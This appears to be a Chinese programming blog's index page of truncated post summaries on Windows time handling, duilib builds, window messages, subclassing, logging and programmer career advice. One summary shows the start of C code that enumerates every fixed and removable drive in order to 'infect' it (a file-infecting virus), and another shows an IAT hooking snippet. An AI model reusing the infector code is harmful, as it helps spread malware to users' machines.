摘要:
走过的路,回忆起来是那么曲折,把自己的一些心得体会分享给程 序员兄弟姐妹们,虽然时代在变化,但是很可能你也会走我已经做过的10年的路程,有些心得体会你可以借鉴一下,觉得说得有道理的你就接纳,觉得说得没道理 的,你就抛弃,以下是我发自内心的,给大家的忠告,特别是针对那些小弟弟妹妹们。01. 自己的户口档案、养老保险、医疗保险、住房公积金一定要保管好。由 于程序员行业每年跳槽一次,我不隐瞒大家,我至少换过5个以上的单位,这期间跳来跳去,甚至是城市都换过3个。还好户口没丢掉,其他都已经是乱了,好几个 城市里,都有交过三金,甚至是一个程序的2个区里交的都有,那些东西,10年后,会变得很重要。你买房子若 阅读全文
摘要:
首先,先从简单的说起,本地时间(LocalTime),也就是系统设置时区的当前时间!比如说当前系统设置的时区为“(UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐”(东八区),系统的右下角通知区域显示的时间为“2012/5/18 16:57”,那么这个时间就是当前系统的本地时间! 要说清楚什么是系统时间(SystemTime)之前先来了解一下格林威治时间。本初子午线被定义为通过格林威治经线的位置,相对这条经线的时区向东递增,向西递减,每隔一个时区,相差一个小时。那么,上面例子中的东八区的时间就是相对于格林威治时间加上了八个小时!而Windows的系统时间是就是格林威治时间!知道了这一. 阅读全文
摘要:
void EnumSys(){for(char i='A';i<='Z';i++) { char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘 { EnumDirectory(x);//进行感染 此函数下面介绍 } } } bool EnumDirectory(TCHAR *dirpath) { WIN32_FIND_DATA fd; TCHAR szTempFileFi... 阅读全文
摘要:
/***time_t转SYSTEMTIME*/SYSTEMTIME TimetToSystemTime(time_t t){ FILETIME ft; SYSTEMTIME pst; LONGLONG nLL = Int32x32To64(t, 10000000) + 116444736000000000; ft.dwLowDateTime = (DWORD)nLL; ft.dwHighDateTime = (DWORD)(nLL >> 32); FileTimeToSystemTime(&ft, &pst); return pst;}/***SYSTEMTIME转 阅读全文
摘要:
有很多人不知道如何编译成静态库,其实很简单的。首先在vs中设置duilib项目。如图:配置类型改为静态库。第二步修改UIlib.h头文件上面的宏。如图:第三步在这个头文件下面添加内容:#pragma comment(lib,"oledlg.lib")#pragma comment(lib,"winmm.lib")#pragma comment(lib,"comctl32.lib")#pragma comment(lib,"Riched20.lib")如图:然后编译,看看它的生成目录是不是有个DuiLib.lib文件 阅读全文
摘要:
这个消息比较实用也很关键,它代表非显示区域命中测试。这个消息优先于所有其他的显示区域和非显示区域鼠标消息。其中lParam参数含有鼠标位置的x和y屏幕坐标,wParam 这里没有用。Windows应用程序通常把这个消息传送给DefWindowProc,然后Windows用WM_NCHITTEST消息产生与鼠标位置相关的所有其他鼠标消息。通俗的讲从消息产生消息。case WM_NCHITTEST:return (LRESULT)HTNOWHERE;以上代码能禁用窗口的所有显示区域和非显示区域鼠标消息,也就是当鼠标在窗口,这里包括系统菜单图标,缩放按钮,关闭按钮等时,鼠标按键将会失效。先看一下这个 阅读全文
摘要:
素材很多设计师都需要的,当然站长们一般都是找一些现成的素材来美化自己的网站,国内有大量的素材网站可以免费的下载到,如何能够快速的找到自己需要的素材就需要有一定的技巧了,这里我们来介绍一下,有关于搜索素材的搜索引擎站点,希望可以帮助更多的用户快速找到自己需要的素材,节约时间。1、IconFinder 借鉴了 Google 那种简洁的风格,打开它的主页,基本上只有一个搜索框。但可别小看这个小框框,通过它你就可以快速找到无数漂亮的图标。最令人兴奋的是,这些图标都是基于 CC GPL 或是 LGPL 协议发布的,因此我们可以自由的将他们应用到我们自己的作品中,而不必担心版权问题。当然,前提是你要遵守那 阅读全文
摘要:
原文地址:http://www.vckbase.com/index.php/wv/1065也许你需要一个特殊的Edit来限制浮点数的输入,但是现有的Edit却并不能完成这项工作――因为它只能够单纯的限制大小写或者纯数字。当你在论坛上求救的时候,某个网友告诉你:“用子类化。”你也许会在看到一线曙光的同时多出了一连串的问题:何为子类化?子类化的原理是什么?如何实现子类化?下面就让我从一个简单的C++程序开始,一步步解开你的疑团吧。首先,我为你列出以下这个C++程序:#include < iostream > using namespace std; class Parent { pub 阅读全文
摘要:
引言 众所周知,在调试、跟踪和执行应用程序的过程中,程序的日志能为这些工作提供大量有价值的运行信息。因此,程序的日志对应用程序的运行、维护至关重要。 在如何记录程序日志方面,通常有三种选择: 1、采用Log4CXX等公共开源日志组件:这类日志组件的特点是跨平台且功能比较强大,例如可以把日志发往另一台服务器或记录到数据库中等;另外,可配置性较高,可以通过配置文件或程序代码对日志进行很多个性化设置。但从另外一个角度看,由于这些优点往往也导致了在使用方面的缺点。首先,对于一般应用程序来说,它们并不需要太多的功能,通常只需要把日志记录到文件或反馈到应用程序,功能太多反正让用户使用起来觉得繁琐还得... 阅读全文
摘要:
#include // 定义API挂接项结构 typedef struct _HOOK_ITEM { DWORD dwAddr ; // IAT项所在地址 DWORD dwOldValue ; // IAT项的原始函数地址 DWORD dwNewValue ; // IAT项的新函数地址 } HOOK_ITEM, *PHOOK_ITEM ; HOOK_ITEM HookItem = {0} ; // 定义IAT项,用于保存MessageBoxA的IAT项信息 // 定义MessageBoxA函数原型 typedef int (WINAPI* PFNMessageBox... 阅读全文